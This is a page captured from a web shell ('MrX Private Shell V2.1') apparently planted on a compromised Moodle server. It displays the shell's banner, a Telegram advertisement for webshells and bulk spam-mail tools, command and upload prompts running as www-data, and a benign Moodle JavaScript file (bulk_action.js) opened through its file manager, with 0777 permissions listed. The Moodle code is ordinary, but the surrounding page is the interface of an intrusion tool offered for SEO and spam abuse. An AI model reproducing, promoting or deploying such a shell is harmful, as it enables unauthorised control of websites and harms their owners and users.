__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Base class for defining a bulk action.
 *
 * @module     core/bulkactions/bulk_action
 * @copyright  2023 Mihail Geshoski <mihail@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

export default class BulkAction {

    /** @property {array} selectedItems The array of selected item elements. */
    selectedItems = [];

    /**
     * Registers the listener events for the bulk actions.
     *
     * @method registerListenerEvents
     * @param {HTMLElement} containerElement The container element for the bulk actions.
     * @returns {void}
     */
    registerListenerEvents(containerElement) {
        // Listen for the click event on the bulk action trigger element.
        containerElement.addEventListener('click', (e) => {
            if (e.target.closest(this.getBulkActionTriggerSelector())) {
                e.preventDefault();
                this.triggerBulkAction();
            }
        });
    }

    /**
     * Setter method for the selectedItems property.
     *
     * @method setSelectedItems
     * @param {Array} selectedItems The array of selected item elements..
     * @returns {void}
     */
    setSelectedItems(selectedItems) {
        this.selectedItems = selectedItems;
    }

    /**
     * Defines the selector of the element that triggers the bulk action.
     *
     * @method getBulkActionTriggerSelector
     * @returns {string}
     */
    getBulkActionTriggerSelector() {
        throw new Error(`getBulkActionTriggerSelector() must be implemented in ${this.constructor.name}`);
    }

    /**
     * Defines the behavior once the bulk action is triggered.
     *
     * @method triggerBulkAction
     */
    triggerBulkAction() {
        throw new Error(`triggerBulkAction() must be implemented in ${this.constructor.name}`);
    }

    /**
     * Renders the bulk action trigger element.
     *
     * @method renderBulkActionTrigger
     * @param {boolean} showInDropdown Whether the action is displayed under a 'More' dropdown or as a separate button.
     * @param {number} index The index of the action.
     * @returns {Promise}
     */
    renderBulkActionTrigger(showInDropdown = false, index) {
        throw new Error(`renderBulkActionTrigger(${showInDropdown}, ${index}) must be implemented in ${this.constructor.name}`);
    }
}

Filemanager

Name Type Size Permission Actions
bulk_action.js File 2.94 KB 0777
bulk_actions.js File 9.27 KB 0777
Filemanager